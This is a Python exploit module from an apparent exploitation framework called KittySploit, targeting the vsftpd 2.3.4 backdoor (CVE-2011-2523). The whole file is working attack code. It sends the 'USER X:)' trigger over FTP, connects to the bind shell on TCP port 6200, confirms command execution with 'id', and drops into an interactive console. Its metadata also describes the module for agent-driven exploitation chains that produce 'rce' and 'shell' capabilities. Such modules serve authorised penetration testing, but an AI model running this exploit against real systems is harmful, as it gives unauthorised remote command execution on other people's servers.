vsftpd - Compromised Package Backdoor RCE (CVE-2011-2523)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""vsftpd 2.3.4 backdoor RCE (CVE-2011-2523)."""

import re
import socket
import time

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler


class Module(Exploit, Tcp_scanner_client, Handler):
    __info__ = {
        'name': 'vsftpd - Compromised Package Backdoor RCE (CVE-2011-2523)',
        'description': (
            'Triggers the vsftpd 2.3.4 backdoor via USER X:) then opens an interactive '
            'session against the shell on TCP/6200.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2011-2523'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2011-2523',
        ],
        'tags': ['vsftpd', 'ftp', 'backdoor', 'rce', 'unauth', 'kev', 'cve-2011-2523'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/tcp/cve_2011_2523_detect'],
            },
        },
    }

    port = OptPort(21, 'FTP port', True)
    shell_port = OptPort(6200, 'Backdoor shell port', True)

    def _trigger(self) -> bool:
        host = self._host()
        port = self._port()
        if not host:
            return False
        try:
            sock = socket.create_connection((host, port), timeout=self._timeout())
            sock.settimeout(self._timeout())
            try:
                sock.recv(256)
            except Exception:
                pass
            sock.sendall(b'USER X:)\r\n')
            try:
                sock.recv(256)
            except Exception:
                pass
            sock.sendall(b'PASS X\r\n')
            try:
                sock.recv(256)
            except Exception:
                pass
            sock.close()
            time.sleep(2)
            return True
        except Exception:
            return False

    def execute(self, cmd: str) -> str:
        host = self._host()
        if not host:
            return ''
        safe = str(cmd).replace('\r', '').replace('\n', ';')
        try:
            sock = socket.create_connection((host, int(self.shell_port)), timeout=self._timeout())
            sock.settimeout(self._timeout())
            sock.sendall((safe + ';\n').encode())
            chunks = []
            while True:
                try:
                    chunk = sock.recv(4096)
                except socket.timeout:
                    break
                if not chunk:
                    break
                chunks.append(chunk)
            sock.close()
            return b''.join(chunks).decode('latin-1', errors='replace')
        except Exception:
            return ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            self._trigger()
            out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2011-2523')
            return False
        print_success('vsftpd backdoor confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()